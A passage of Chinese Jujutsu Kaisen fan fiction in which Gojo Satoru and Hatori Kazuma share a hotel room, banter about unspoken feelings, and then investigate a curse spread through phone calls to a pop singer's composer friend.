五条悟在心底偷偷的笑,表面还要一本正经的去催促羽取一真洗澡,绝对不给他想要另外订房间睡觉的机会。 更确切地说,这可是他在给对方一鼓作气、趁热打铁、赶紧表白心意的机会! 刚想提议要不要再去订一间房的羽取一真只好被催促着进了浴室,和五条悟轮流洗完澡,又一起躺在那张一米二宽的单人床上。 灯已经关掉了,极其遮光的厚窗帘也被拉起,这个狭小而封闭的空间仅剩下他们两个人的浅浅呼吸声,安谧好似在这一刻无限拉长至永恒,自成一个宇宙。 作为两个身量都高的十五、六岁少年而言,睡在这张床上确实略挤。 尤其是漂亮小悟,也不知道吃什么长大的,十五岁的身高就接近一米九。 而羽取一真也比他矮不了多少,又要小心的防止两个人真的贴在一起,更是让躺在这张床上的他显得局促无比。 尤其是,就在执行这次任务之前,夏油杰还说悟和他已经相互喜欢到……到那种关系了。 睁着眼睛躺在黑暗的房间里,羽取一真感觉自己整个人都开始慢慢升温。 这不是他第一次和悟躺在同一张床上,却是最紧张的一次。 分配给高专教师宿舍的那张床也很挤,他们比此时更近的挨在一起,吐息暧昧交融,就像一阵风融入了另一阵风里。 但此刻的悟是二周目的悟,只有15岁……离16岁的生日还有一个多月。 羽取一真根本睡不着,装了满脑袋的胡思乱想。 “一真。” 极度安静的环境里,五条悟突然开口,喊他的名字。 与一周目只能喊他“加茂”的悟不同,这周目的悟,吐字间的发音十分清晰,确确实实喊出了他的名字。 羽取一真的心跳顿时漏了半拍,连回应都变得迟钝些许。 “我…在?” “你好像很紧张。” 在这看不见双方的极致黑暗里,只能听见五条悟的声音在轻轻响起,底色带着一点点变声期的哑,又因为愉快而尾音上扬,好似顺着耳朵一直钻进了羽取一真的心里,痒痒的。 “怎么啦,第一次和人睡,没有经验?” 听起来,还透着几分揶揄。 羽取一真卡顿片刻,下意识反问:“悟和别人睡过?” “欸,重点在这里?” 五条悟的声音变得更开心,甚至笑出了一点声音,将羽取一真的心跳笑得更快,“要说睡过嘛,肯定有啦。” 羽取一真的心脏瞬间跟着提起—— “小时候和奶娘睡过啊。” 五条悟慢吞吞说出后半句话,又让羽取一真的心脏砰砰跳着放回去,虚惊一场。 ……等等,他不应该为这种事感到紧张吧? 这时,羽取一真的理性才后知后觉的上线,让他生出一点懊恼的情绪。 “大家族就是还有这种从古代流传下来的迂腐规定啦,定好的继承人自小就会被抱离生母身边,由奶娘负责照料——更别提我的父母无论作为咒术师还是族内成员而言,等级与地位都不高,更加难以插手我之后的教育。” 成功捉弄羽取一真的五条悟无声窃笑了下,接着给对方解释起来。 “像照料我的那位,说是奶娘,其实也是等级挺高的咒术师,除了保护我的安全以外,还要教我很多杂七杂八的东西,礼仪,规矩,人员,咒力……反正什么都有,一直到我拥有自保能力为止。” 毕竟他从一出生,身上就背上了巨额赏金,而且还在连年累加嘛。 羽取一真安静的听着,直到最后才开口问他。 “不感到辛苦吗?” 五条悟前半段的人生,实在算不上自由。 “要说辛苦的话还好,”五条悟哼哼笑道,“我才不会真的每条命令都一板一眼的照做呢。包括小时候,我也经常会偷懒跑出来玩啦。” “会玩些什么?” “就是到处闲逛啦,有时会站在橱窗前看播放的电视节目,或者翻一翻摆在书店门口的流行杂志之类。” 五条悟想了想,发现自己那时候的娱乐确实不多。 何况他当时超不爽家族里连每一分钟都给他规划得清清楚楚,几乎没有个人时间,因此出来乱逛的期间基本都臭着脸。 反正就是要跟家里那帮老头对着干。 羽取一真听在耳朵里,真是又觉得好笑,又有点心疼悟以前都被管制得太严格。 “我相信现在的他们已经做不到了。” “是啊,当时还听他们夸过那个禅院家的内定继承人稳重啊、强大啊什么的,” 五条悟撇着嘴,又发出点不屑的轻笑,“结果我前段时间一看,不也染头发打耳钉,脸上揣着一副过来找优越感的傲慢模样,却在看见你的第一眼就被吓得脚软嘛。” 羽取一真同样笑出了一点声音。 何止,他上周目都把这个嘴臭的家伙暴揍到濒死,又强行要求人给悟土下座道歉。 “就是,谁也比不上悟。” 他一本正经的这么回道,令五条悟的目光转过来,在这片黑暗中准确朝向了羽取一真。 “在你的心里,是这么想的?” “嗯。” “那么,”五条悟明知故问,“我有点好奇,杰今天说他可以复述的那个‘问题’是什么?” 羽取一真:“…………” 五条悟:“嗯嗯?” 羽取一真:“咳……” 五条悟:“想要糊弄我是很难的哦。而且这间房就剩我们两个,你可没有地方躲——啊,莫非想用‘要睡觉了’或者‘我也不记得是什么问题了’来敷衍我?” 羽取一真:“…………” 所有能想出来的借口都被对方堵住了退路。 但要他诚实说出一周目和二周目的事情……先不提他能不能将这些讲出口,漂亮小悟也根本不会相信这个世界只是一款游戏,而他是其中的npc吧。 如果直白的对他说“我已经有喜欢的人了”确实也可以,但要是继续追问人名—— “五条悟”。 这跟变着法表白有什么区别…! 羽取一真默默抬起小臂挡在脸上,已经开始感到一万分纠结的进退两难了。 而早有预谋的漂亮小悟依旧不依不饶,甚至将身体侧过了些,凑近他—— “怎么了,” 于是,羽取一真听见五条悟在轻笑,咬字时的吐息温热而暧昧,拂过他那已然发烫到极限的耳廓。 “有这么难回答吗,一真?” 此刻从五条悟身上传来的,不仅有旅馆提供的廉价沐浴露的香气,还有同样偏高的体温。 他们是靠得如此近,以至于羽取一真的思维恍惚片刻,下意识回答“没有”。 而在这句回答之后又停顿片刻,五条悟才听到接下来的话语。 “我答应你的蒙布朗,”羽取一真说,“等我做给你吃的那时候,就告诉你结果,好不好?” 他无法在这时候说出拒绝的话,只好自欺欺人的将时间往后拖延。 能拖一天是一天…… 但五条悟可不是会被人牵着鼻子走的笨蛋,立刻用手戳了戳羽取一真的脸,弯起小拇指。 “那就定在我生日那天好了,来拉钩——” 拉钩……他和一周目的悟,同样这么做过约定。 羽取一真默默抬起手,在黑暗之中,那节小拇指精准勾住五条悟的,又上下摇了摇,才松开。 “到那一天的时候,你可再没有借口能敷衍我啦。” 五条悟笑着开口,声音在这个仅由二人组成的无垠宇宙里,轻轻回荡。 “在那之前,就先放过你一马好了。” 第112章 第二天, 四人退掉旅馆,先开车去一起吃了五条悟想吃的冷乌冬面,又买了满满两大袋的布丁和脆饼, 才回到学校。 倒在那栋平房前的两具诅咒师尸体, 已经由辅助监督安排后续的回收以及处理了,不需要夏油杰和羽取一真再操心。 听说等高专那边确认这两个诅咒师身份后,羽取一真他们还能获得额外一笔悬赏奖金,简直就是意外之喜。 尤其是夏油杰,他既得到了强力的一级咒灵[裂口女],又能有一笔不小的数额到账, 别提多高兴了。 回去的路上,夏油杰还找了个机会偷偷问羽取一真。 “如何?” 他倒也不算是特别在意这二位同期的关系啦, 就是好奇一下, 稍微有那么一点好奇……稍微有一点点而已。 毕竟, 他是说, 都特意制造如此绝佳的二人整夜共处机会了,要还是毫无进展, 那真是…… 羽取一真摇头:“什么也没有。” 夏油杰:“………” ……那真是油盐不进啊你这小子。 家入硝子听到夏油杰分享的消息也惊了,眨巴眨巴眼睛,百思不得其解。 “竟然没在一起啊……话说这也能忍一晚上?到底是谁不行?” 那气氛,连只在实战课上碰见过他们几次的歌姬前辈都在私底下偷偷联系她问情况喂。 结果这两人都睡在一张床上了, 竟然就这么度过了一晚上, 什么也没有发生? 真的假的,该不会是杰被骗了吧。 夏油杰:“……你说得挺有道理, 但我觉得如果他们真的发生点什么,从第二天的表情上就能看出来。” 真是的,没确定关系之前他们两之间的反应就这样黏糊;要是确实做了点什么, 绝对不可能藏得住。 “唉呀,歌姬前辈还说有消息记得告诉她呢。” 家入硝子的脑袋顿时又低下去了,趴在小臂交叠的空间里,连语调也变得懒洋洋的,一听就是毫无干劲的声线。 夏油杰:“告诉歌姬前辈?为什么?” 家入硝子姿势不变,仅竖起手掌随意摆了摆,对夏油杰解释道。 “我是没看见,但听歌姬前辈说,他们在交流会上也是黏黏糊糊的状态啦,连高年级的大家都在猜测这两人什么时候会在一起。” 夏油杰顿时有点哑然:“这……” 家入硝子继续慢吞吞补充:“而且啊,来上高专的前辈们不是也有非家系的咒术师吗?听说暑假回家的那会,咒术界以外的朋友都在和他们提起五条悟和羽取一真呢。” “嗯?” “就是之前那个娱乐节目,以及后续杂志采访的事啦。” “……啊确实,我记得悟上学期出去做任务时,都会戴帽子来着。” 坐在座位上的夏油杰点头,顺便摊开一张模板白纸,开始写这次的任务报告。 这次不仅是一级任务,还是对羽取一真的晋升考量评定,只能由身为主导方一级咒术师夏油杰来写。 偏偏这次任务的途中又出了意外,他抢了已经被收服为式神的[裂口女],这与他之前上报高专的术式机制不同。 因此,夏油杰还得绞尽脑汁的开始瞎编后半段,如何让自己拥有[裂口女]这件事变得合情合理。 毕竟他的术式特殊,放出来的咒灵在使用时的咒力反应与他本人的咒力不同,需要在高专登记过后才能使用,否则会引发结界报警。 嗯,编完后还得跟羽取一真串好口供,以免之后露馅。 夏油杰愿意对羽取一真付出那份十分珍贵的信任,但不等于他会失去谨慎与多虑的本质。 一切有可能暴露他们私底下在搞小动作的危险信号,都必须提前排除。 不过嘛,这种事情一回生二回熟,他上次就瞎编过一次,这次怎么说也算是比较上手了。 他在高专这边始终保持着温和与谦逊、偶尔才会让夜蛾老师头疼一下的外在形象,可不能随便就被打破。 ——夏油杰目前还不知道,在某位[教祖大人]那边,“偷偷贪下咒物”的他已经变成了心机与油滑的代名词。 羽取一真更是蹬鼻子上脸。 因此,某人才想借这次理当超出羽取一真能力范围的任务敲打一下他,让羽取一真认清自己的位置。 至于那两个诅咒师,不过是被骗过去的棋子而已。 “欸,竟然解决掉了啊,反而令我惊讶起来了。” [教祖大人]听着汇报,对那两枚棋子被损毁的结果毫不在意笑了笑,谈吐从容而淡然,根本没有听出丝毫所谓的“惊讶”。 “那就让我期待一下,他之后的动作吧。” 自殿顶垂落的帷幕层叠,挡住了那道若隐若现的身影,也令传出来的话语变得模糊,好似发出了一点玩味的轻笑。 “能在既定的结果之前见证[未知],也是好事。” ………… 夏油杰终于交上了半真半假的任务报告,还提前和羽取一真串好口供,确保万无一失。 五条悟倒是在旁边偷偷给夏油杰竖了个拇指,还冲他摇了摇,一看就知道被羽取一真告知了他隐瞒的底牌。 厉害噢,明明是非家系的术师,进来时比他还小几个月,竟然就敢对咒术界的上层悄咪咪撒谎啦。 夏油杰在心底失语片刻,回敬般冲五条悟竖起了小指。 这个手势他之前对羽取一真也用过,其中意思不言而喻。 五条悟:“…………” 好烦啦这个杰,冰淇淋没有了! 借着课桌的遮挡,这场交锋短而迅速,以五条悟的暂时败北而告终。 夜蛾正道没有看见底下这两人的小动作,照常在讲完课后开始派发任务。 随着学生在高专就读时间的增加,他们的实践课程会逐渐多于理论课程。 尤其是这届的一年级,夏油杰和五条悟是潜力为特级的一级咒术师,羽取一真正在晋升一级咒术师评定。 最后那位家入硝子更是整个咒术界极其珍贵的医疗人员,能输出[反转术式]来治疗他人——等经过几轮任务流程、再补全理论知识,她就会逐渐转为幕后,以治疗伤者为主。 会[反转术式]的术师或许有,比如基本联系不上也不接任务、目前不知道跑到哪里去了特级咒术师九十九由基。 但即使特级咒术师学会[反转术式],也大概率只能治疗自己,未必能够输出[反转术式]来救治他人。 因此,家入硝子的评级标准并不体现在战斗上,而是治疗上。 不管怎么说,这届一年级的整体水平简直不要太高,夜蛾老师更是因此而被提名为校长候选人,目前正在走评估流程。 “这次的任务真是完成得相当出色啊,一真,杰。” 夜蛾正道大略扫了眼那页字迹端正的任务报告便收了起来——他早就从辅助监督那边听了大概,表情很是欣慰。 “原本还担心一真能不能顺利完成祓除[裂口女]的任务,没想到啊。” 夏油杰很有礼貌的微笑回道。 “哪里,不过是运气好罢了。” “这可不仅仅是运气,你们成长得比我想象中还要快。那两个诅咒师都是难缠又狡猾的一级术师,通缉名单上挂很多年了。” 夜蛾正道抽出两张悬赏通告交给夏油杰和羽取一真。 “这是之前上层发过的悬赏金额,目前还在走发给你们的流程,大概要再过一周才能收到。” 羽取一真看着纸上那串零,黑瞳顿时一亮。 好耶,钱! 虽然不能转化为金币,但他目前还没有可以赚金币的渠道,能省一点是一点。 而这些他努力赚到的奖金和薪水,就可以用来给漂亮小悟买各种东西嘛。 听羽取一真和夏油杰说完感谢后,夜蛾正道又拿出另外两张纸,一张交给夏油杰。 “这是给你的单人一级任务,[窗]已经封锁现场完毕,勘测确定是自然诞生的龙类一级咒灵,需要你尽快过去处理。” 大脑敏锐接收到[一级咒灵]这个单词,夏油杰表情顿时变得开朗无比,浑身都充满了干劲。 “什么,我现在就出发!” 他的宝贝一级咒灵,他来了! 羽取一真则有点眼巴巴的。 能提高等级的【一级咒力结晶】啊,他也想要…… “一真,这次你跟着悟执行一级任务。”夜蛾正道交给五条悟另一张纸。 “好。” 羽取一真有力的秒答道。 五条悟哼出一声没忍住的低笑。 羽取一真的表情顿时僵硬了下,刻意保证自己坐姿端正,目不斜视。 总之,不能往悟那边看,肯定会被揶揄得更厉害…… “鉴于杰在上次一级任务中给你打出了优秀的评价,这次的任务难度会高一些。” 夜蛾正道来回看了看这两人的反应,迷茫一挑眉毛——吵架了这是?看起来又不像啊。 算了,总之没打起来就行。 “这里的‘高’,是指你们不准再像上次逮诅咒师那样肆无忌惮,惹来一堆后续需要擦屁股的麻烦。” 当着整栋电视台的面殴打部长,然后一路拖出来——看这小子还准备联系辅助监督一路拖回高专——导致这两人险些被警察逮捕,以故意伤害罪丢进监狱。 当时的目击者更是多到他们连封口都无从下手,只好从政府那边提请协助。 在夜蛾正道再三叮嘱他们注意安全以及不准惹事之后,就将教材夹在胳膊底下,离开了教室。 有新咒灵进账,夏油杰心情超级好,走之前还又冲五条悟摇了摇右手小指调侃,把五条悟气得冲他比出一个[苍]的手势,才哈哈笑着也去赶任务了。 不用出任务的家入硝子也摆了下手,慢吞吞说出一句“你们加油哦——”,便留下一个打着呵欠的背影,准备去过自己的愉快周末。 只有五条悟和羽取一真面面相觑。 “……那个加油,”羽取一真默默出声道,“应该不是我想的那个[加油]?” 五条悟:“……” 五条悟望着天花板:“还能是哪个加油啊。” 怎么连硝子也知道了啊……可恶,肯定是杰说的。 好像也有一点领悟到的羽取一真:“……” 他……真的对悟表现得特别明显吗?而且还是那种感情的明显? 在羽取一真还没有想好该做出什么反应前,五条悟便重新低下头,认真看起那张任务资料。 “算了,先来看看这次的任务该怎么完成。” 羽取一真也凑近了些,看着那页由[窗]观测、辅助监督确认并汇总提交的任务基本描述。 大致是说[窗]发现了潜藏已久的某位诅咒师踪迹,需要高专安排二级以上术师过来确认,如确认无误,可就地判处死刑。 按照落款的辅助监督姓名与电话,五条悟掏出手机打过去与他对接,并且立刻安排行程。 “喂喂——我是五条悟喔,古井先生,这次的[蒲悠咒事件]是由我们来负责——没错没错,是我和羽取一真,麻烦你开车高专门口等我们啦,马上到!” 一看见任务又是和诅咒师有关,羽取一真就没有丝毫兴趣。 诅咒师这种东西,打起来又不会掉咒物,又不会掉咒灵,根本连半点收益也没有。 哦不对,有钱。 羽取一真重新振作精神:“我们要去哪里?” “——哼哼,” 挂断电话的五条悟,脑袋转向羽取一真,唇角随之弯起。 “是老熟人哦。” 羽取一真歪头:“…?” ——这份疑惑,在他们很快就来到目的地后,立刻得到了解答。 “哎呀,没想到还能再见到你们啊,一真,悟!” 站在SS事务所的门口迎接他们的大叔正是津地智也,很是热情的冲他们招手。 “好久不见了吧,哈哈,真是抱歉,上次还问你们要选哪条路来着。” 说到后半句时,津地智也明显有点不太好意思,一看就知道是被透露过什么内幕消息。 比如藏在这世界深处的另一面,比如这两位的身份很不一般,绝对、绝对不可能去当什么偶像或演员。 “没什么啦,我还挺喜欢接受杂志采访的,超有趣!” 五条悟笑眯眯的,压根不觉得自己的身份有什么特别之处,对待津地智也的态度也和上次没有任何差别。 羽取一真朝津地智也略欠了欠身,算作打招呼。 这次的任务又包括了调查部分,照例由性格更外向、经验更丰富,且思维更敏锐的五条悟来负责沟通的部分。 他能当一个称职的应声虫,以及毫不留情的凶残打手。 “倒是智也大叔,你们这里好像遇到了什么麻烦嘛。” 这也是他们这次会过来的原因——[蒲悠咒事件]的第一发现人,或者说是第一被害人,正是在这间SS事务所。 确切地说,是隶属于SS事务所的一位歌手。 “是啊,我也是因为这起事件,才被上面稍微说了点……” 提起这件事,津地智也有点不知道从何说起,甚至略显局促的抓了抓头发。 “总之啊,你们先进来吧,进来慢慢说。我去把润子喊过来。” 眼看从大厅投来好奇视线的人越来越多,甚至还有认出了五条悟和羽取一真的工作人员,津地智也赶紧先让他们进来,先到接待室坐一会。 五条悟坐不住,沿着这间装修格外精致的接待室晃悠了一圈,又从那摆了满墙的杂志架上一本一本扫过去,发现连他和一真上过采访的那期杂志也在其中。 嗯,再看一遍也还是很帅啊,我。 自信小悟摸着下巴仔细端详,边在心里满意点头。 一真会迷上他但又不好意思开口,那也是理所应当的事情嘛。 谁让他的魅力超大——! 嗯,再往旁边一看,一真也被拍得也很不错啊,很少能见到他这样气势凌厉的时候。 五条悟甚至又想起论坛里那句话——就算是再冷的表情,看他时的眼神也是软的。 甚至,从来没有对他撒过谎。 就如同在小旅馆一起睡觉的那晚,明明感觉到他想说出比“喜欢”这个单词更沉重的千言万语,却在安静许久后,仅汇聚成一句跟他商量后的约定。 到底是在顾虑什么呢,是他的身份吗? 这个想法出现在五条悟的脑海里,随即又被否定。 不,肯定不是因为他的身份问题。 这只黑豆柴都敢直接去威胁五条辰雄,就为了让他在五条家过得轻松些,怎么可能会介意他的下任家主身份。 光是想到这点就忍不住露出笑意的五条悟甚至毫不怀疑,倘若他哪天感叹一句自己也想当总监部首座玩玩,对方都会想办法达成这个目标。 那难道是,一真的身份? 五条悟知道自己确实对羽取一真的身份知之甚少,仅能从之前透露的细节判断出他以前大概过得很糟糕。 甚至连这个非家系术师的身份也要打个问号。 但五条悟压根不在乎,所以他从来没有找人去调查羽取一真的过往。 五条悟只想用自己的眼睛、自己的手指、自己的耳朵去确认羽取一真的外表,去了解他的内在,去相信他交给自己的每一分真心。 这就是为何他一直以来都始终耐心的等待,并愿意一直等到羽取一真主动揭示谜底,而非要他去做些不信任对方的质疑与调查。 但越往下思考,又觉得羽取一真应该不是因为他的身份而不愿意开口的。 毕竟他都不在意那些御三家的高层,甚至对禅院那边内定的继承人也是冷眉冷眼,怎么说也不像是会纠结于身份差距的苦情类型。 再说了,他难道有表现出过自己在意双方身份吗?完全没有嘛。 还能有什么呢……年龄?性别?他不擅长讲京都方言? 五条悟盯着那份杂志走神,左思右想也没纠结出个所以然来。 而这一走神,乱七八糟的思绪就在脑海里翻来覆去,直到被喊他名字的声音拉回注意力。 “悟,一真,抱歉让你们久等了,这位是荒生润子。” 津地智也轻轻敲了几下门后推开,将带过来的第一发现人,同时也是被评为去年最受欢迎的歌手——荒生润子介绍他们。 “润子小姐,这两位就是……” “五条悟,和羽取一真。” 被唤为荒生润子的漂亮女性微微一笑,抬手将耳边的一绺长发别在耳后,一举一动都显得极有魅力。 “我记得你们哦,春天那会大放光彩的新人出道组合,直到现在也热度不减。怎么不继续发展了?” 五条悟从杂志架旁回到沙发上坐好,边毫不在意回道。 “那个啊,智也大叔也和你解释过了吧?因为我和一真的主业不是出道嘛。” “很可惜喔,毕竟你们的外形条件实在是很好,作为二人组合也很有话题度。真的不再考虑一下吗?” 荒生润子在他们对面的沙发上坐下,双腿交叠,鞋尖压低,摆出相当优雅的坐姿来——甚至没两句话就开起了他们的玩笑。 “如果两位不介意,我即将发售的专辑里,可以破例收录一首你们的新歌喔。” 五条悟和羽取一真还没有出声拒绝,津地智也连忙抬手喊停。 “咳咳,润子小姐,你就不要再打趣他们了。”——他无奈道,“你明知道这两位就是来给你解决那个棘手问题的啊。” “再说,哪怕真的是两位新人,也绝对不可能轻易就出现在您的专辑里的吧,到时候粉丝要是抗议……” “我非常清楚啊,” 荒生润子嫣然一笑,掌根抵着侧脸,也不知这句玩笑话到底是真是假。 “但这和我邀请他们加入我的专辑创作又没有冲突。” 哪怕是遇上了普通人可能一辈子也不会遇见的诡异事件,荒生润子也没有半点慌张,无论气场还是谈吐依旧格外有魅力,不愧是能大红数年的歌坛顶流之一。 “润子姐姐的歌我也听过哦!” 荒生润子的心态很好,五条悟的更好,甚至笑眯眯的跟荒生润子聊起来,让现场的氛围变得更轻松。 “我甚至还超会唱的呢,哼哼,比如你最受欢迎的那首——” 荒生润子听完五条悟即兴演示的那两句副歌部分,眼睛倒是一亮,“你确实非常有天分啊……” “咳咳咳,润子小姐!” 津地智也已经要坐不住了。 别真的把话题岔开成给这两位“新人组合”创作一首歌啊! “好吧,智也先生就是这样不可爱。” 荒生润子轻轻叹息,终于将话题转回正轨。 “那我就先说一下我前几天的经历——确切地说,是我那位作曲朋友的经历。” 第113章 为荒生润子作曲的那位朋友名叫矢野加奈, 同时也是在为荒生润子的新专辑做准备的作曲家之一。 由于五条悟和羽取一真不懂出专辑的流程,荒生润子还顺带给他们解释了下这其中的工作流程。 对于在日本艺能界竞争激烈的歌手而言,保证整年的曝光率是非常重要的事情。 他们并不能像国外那些有名的歌手一样, 花费数年时间制作一张专辑, 然后推出主打歌进行宣传、售卖,接着就进入下一张专辑的准备过程。 除去开演唱会或是出席别的活动以外,期间完全没有新专辑的任何动静。 因此,以荒生润子为例,她需要每隔三个月左右就推出一首新单曲,先在电视以及音像店上进行PV宣传, 接着去综艺节目进行现场演唱——越红的歌手,能去的综艺节目资源就会越好。 而后, 她就会趁势推出单曲, 继续上各种节目做宣传, 并在接下来的一到两个月内进行下一首新单曲的推出准备。 期间也可能会举办演唱会、拍摄写真、接受节目的表演邀约, 以及一些其它配合事务所的宣传内容。 就这样重复大概三次到四次之后,荒生润子就需要推出一张大碟专辑——不仅包含前3首或4首单曲在内, 还额外多加8首到9首的新歌。 而推出大碟专辑之后,荒生润子可以选择继续上节目表演新歌,但同时也必须立刻进行下首新单曲的准备工作。 包括专辑也会分为“初回版”和“普通版”,不仅内容会有稍许不同, 封面基本不同, 初回版还会附加许多赠品,像一些歌手卡片、日历、钥匙扣之类的小玩意。 而这些赠品还会做成不同的款式, 想全收集就需要粉丝反复购买,也算是一种变相的促销手段了。 这些推出的单曲和专辑,都会被目前日本最具知名度的音乐公信榜——ORICON收录, 并在每周三公布上一周的销量排名。 能在ORICON登上榜首的单曲和专辑,可以称得上是粉丝实打实用真金白银买出来的,没有任何数据作假的成分。 既然荒生润子每年的工作量如此之大,就意味着她在某些极度繁忙的时候,无法保证专辑内的每首歌都是由她亲自作词作曲,会需要请他人协助作曲,荒生润子自己填词。 就算他人协助作曲,在一首专辑内的占比也绝对不能高,偶尔出现一两首才是大众能够接受的状态。 毕竟她走的道路是歌手,如果没有音乐创作的能力,会被行业质疑她的水准是否能称得上是专业。 假使她是偶像、或者专门演唱他人填词作曲的歌手,大众对她的要求就会降低许多,只要演唱能力到家就没什么问题。 “但是这种只能演唱的歌手,都没什么发展潜力啦。” 荒生润子捧起冒着腾腾热气的咖啡,十分乐意于满足五条悟摘下墨镜、用苍瞳眨巴眨巴冲着她发射卖萌光波的好奇。 “在艺能界,只会唱歌其实是赚不了多少钱的啦,就算能受大众欢迎一段时间,失去热度之后也会连带立刻失去收入来源。所以呢,他们需要趁热转型成演员、主持人,或者努努力给歌填个词。” “像词作者和曲作者,他们的作品可以在卡拉OK里得到持续稳定的长期收益,毕竟歌曲的著作权归他们所有。” “只能唱歌的歌手却连修改歌词的权利都没有哦,像我在大阪开演唱会,可以唱[大阪LOVE];跑到宫城开演唱会,就可以改成[宫城LOVE]。这都是我的自由。” “但非创作型歌手就做不到啦,演唱时哪怕改动一个字,都有可能被原制作者骂到必须登门道歉为止。” 听着以前从来没接触过的新知识,五条悟眼睛亮晶晶的,手里还连着往自己的那杯咖啡里丢了好几块方糖,搅拌搅拌均匀。 “哇,原来是这样! 那润子姐姐的朋友是遭遇了什么状况呢?” 发现羽取一真的咖啡也是那副黑漆漆、苦兮兮的模样,五条悟又顺手也给他的咖啡杯里丢了三四块方糖,手肘接着一拱,示意他也给自己的咖啡搅拌一下。 始终冷着表情的羽取一真也听话地拿起勺子开始搅拌,对自己的黑咖啡变成甜咖啡这件事没有丝毫异议。 荒生润子将这两人得互动看在眼里,唇边笑意更是鲜明几分,又被咖啡杯悄悄挡住。 “我下个月就要推出初回版专辑了,需要加奈帮忙为我的其中一首新歌作曲,元素早就已经确定。” 她微笑着开口,眉心却轻蹙,为矢野加奈的状况感到担忧。 “但是加奈最近交给我的试听带,里面有很微妙的杂音。” “我给她打电话说明情况的时候,她表示了很困惑,并坚称自己在录制时,绝对没有出现任何奇怪的响声。” 五条悟的表情同样认真起来。 “是什么样的微妙杂音?” 荒生润子沉吟片刻,相当迟疑的回答道。 “可能是我的错觉……我听起来就像是婴儿的哭声。” 但她可是吃音乐这碗饭的人,在听力的敏锐程度上绝对要比普通人高得多。 五条悟:“那盘试听带呢?” 荒生润子:“说出来不太好意思……因为感觉有点诡异,被我扔进垃圾桶丢掉了。” 五条悟想了想:“那…加奈的家里没有婴儿?” 荒生润子摇头:“她目前还是单身。而且那个婴儿的哭声,像是好几个婴儿一起哭。” 总不可能是矢野加奈的家里突然同时养了好多个婴儿吧…… “而且,”荒生润子又补充道,“其实在我给她打电话的时候,我也隐约听见了这个哭声。” “那位加奈到目前为止,有没有出意外?”五条悟想了想,“可以打一下电话给她吗?” 既然打电话都能听见,五条悟立刻表示想要听听看是什么杂音。 重点在于,他确实在荒生润子的身上清楚看见了少量咒力残秽。 但四级咒灵的数量确实很多,再加上对普通人的危害不大,高专要么会安排辅助监督帮忙抓捕,要么就放任不管,先优先处理那些比较严重的事件。 咒灵再如何活跃,咒术师的人手也是有限的,必须分清轻重缓急。 因此,五条悟不太确定那股缠绕在荒生润子身上的咒力残秽,到底是普通的低阶咒灵路过顺便蹭上去的,还是真的连带受到了[蒲悠咒事件]的影响。 按照辅助监督古井先生的介绍,[蒲悠咒事件]里的诅咒师——蒲悠是一位早年曾声名显赫的术师,后来不知道受了什么刺激,突然主动造成了一起大规模的普通人伤亡事故,紧接着就隐去了行踪,直到现在。 当然,蒲悠也只是一个假名。 有些在咒术界行走的术师,出于各种缘故,并不会使用真名示人——就像冥冥那样。 但总之,“声音”只是她在使用术式时的一种外在表现形式,按照以前的资料记载,她使用的是类似于能影响被施术者心智的幻术。 在电话或播放设备里听见了类似婴儿哭声的杂音,不仅在荒生润子这边有上报,还有数起同样的事件发生在东京各地。 甚至有发现死在家中的被害者——能搜集到的消息只有死前跟家人或朋友抱怨过最近好像耳鸣了,总感觉有听见奇怪的声音。 从时间点上来分析,荒生润子其实是最早有提出自己听见了杂音的,居然到目前为止还没有出事,也可以算是非常幸运了。 但目前还不确定,受害者到底是能听见婴儿哭声的荒生润子,还是坚称自己什么也没听见的矢野加奈。 因此,五条悟需要荒生润子打个电话给矢野加奈。 不仅是为了验证“婴儿的哭声”,也好让他用[六眼]观察那部手机是否会出现咒力波动。 这种尚未完成的诅咒,哪怕是通过电话这类隔空传播的新型媒介,也能够直观的看见相当浓郁的咒力。 “当然没问题。” 荒生润子点头,拿出手机给矢野加奈打电话——并按下免提键,将它放在茶几上。 [润子?] 通话正常接通,荒生润子假装和她讨论新曲的事情,声音听不出任何异常。 “是我哦,不好意思啦,关于新曲的元素,我突然又有点了新想法……” 五条悟紧盯那部正在发出声音的手机,苍瞳认真而专注。 羽取一真也调出物品栏,随时预备将[业双]拿出来。 矢野加奈刚开始说话时,那部手机仅带着点普通程度的咒力残秽,没有任何异常。 但就在好似一个电流跳跃导致的杂音出现后,缠绕在那部手机上的咒力突然就变了。 而且跟残留在荒生润子身上的咒力残秽一模一样! 五条悟的苍瞳瞬间睁大,眉毛紧皱着给荒生润子使了个眼神。 荒生润子立刻心领神会。 “电话里有点说不清楚,等会我来找你啦,” 荒生润子笑着对电话说道,将借口编得合情合理。 “顺便正好介绍新人给你认识,这也是我想换新曲风格的原因——对对,是智也先生看中的后辈,想让我带着他们多学学呢。” 等电话一被挂断,五条悟豁然起身。 “出发,诅咒肯定在矢野加奈那里!” “诅咒是什么?” 荒生润子跟着起身,眼眸困惑一眨。 她过来时只被叮嘱要实话实说,不管对面坐着谁。 结果过来一看,竟然是她前段时间也很看好、却突然消失不见的五条悟和羽取一真这对新人组合呢。 “……抱歉,我其实只简单的和她说了你们身份不一般。” 坐在旁边的津地智也默默出声道,“那个,我以为那些事情要保密……” “没事没事,”五条悟对津地智也摆摆手,“我们也没有那么严格的保密制度,至少允许让当事人知道这东西有多危险。” 于是,在驱车前往矢野加奈住所的路上,荒生润子被科普了些关于诅咒、咒力与咒灵的咒术界基本常识,把她听得一愣一愣。 五条悟甚至还演示了下咒力的应用,将一个空水瓶扭曲、压扁成了拇指那么大。 “这真是有点不可思议,但……” 听五条悟说完后,她抵着下巴思索许久,才迟疑出声道。 “这么危险的工作,连不满16岁的孩子也必须加入?《劳动基准法》和《青少年劳动保护法》呢?” 五条悟停顿片刻:“……那大概是没有的?” 荒生润子:“那你们每次出任务会不会获得额外的奖金?” 五条悟:“没有啦,我们是按月拿薪水的……啊,冥冥小姐好像有,她每次任务都会向高专收额外的出场费,还挺贵来着。” 这句话一出,车内突然陷入了沉默。 五条悟:“……等下,这么一想,我们是不是有点亏?” 明明每个月要做这么多任务,薪水却始终是固定的——这不就相当于加班也没有钱赚嘛! 虽然身为御三家继承人的他是不怎么在意钱啦,但像一真和杰这样的非家系术师,怎么能又做危险的任务,又没有任何额外的补贴呢。 好歹得把按时间计费,改成按完成任务的难度和次数计费吧? 啊决定了,等他之后继承五条家、掌握了绝对的话语权后,就向总监部提这个建议。 ………… 等轿车停驶逐渐平稳,停在矢野加奈的住所前,五条悟的苍瞳已经可以看见太过浓郁的咒力在不停往外扩散了。 就这样萦绕在这栋一户建周围,哪怕朝外逸散些许,也会被立刻补上。 这栋建筑,甚至可能已经产生了咒灵。 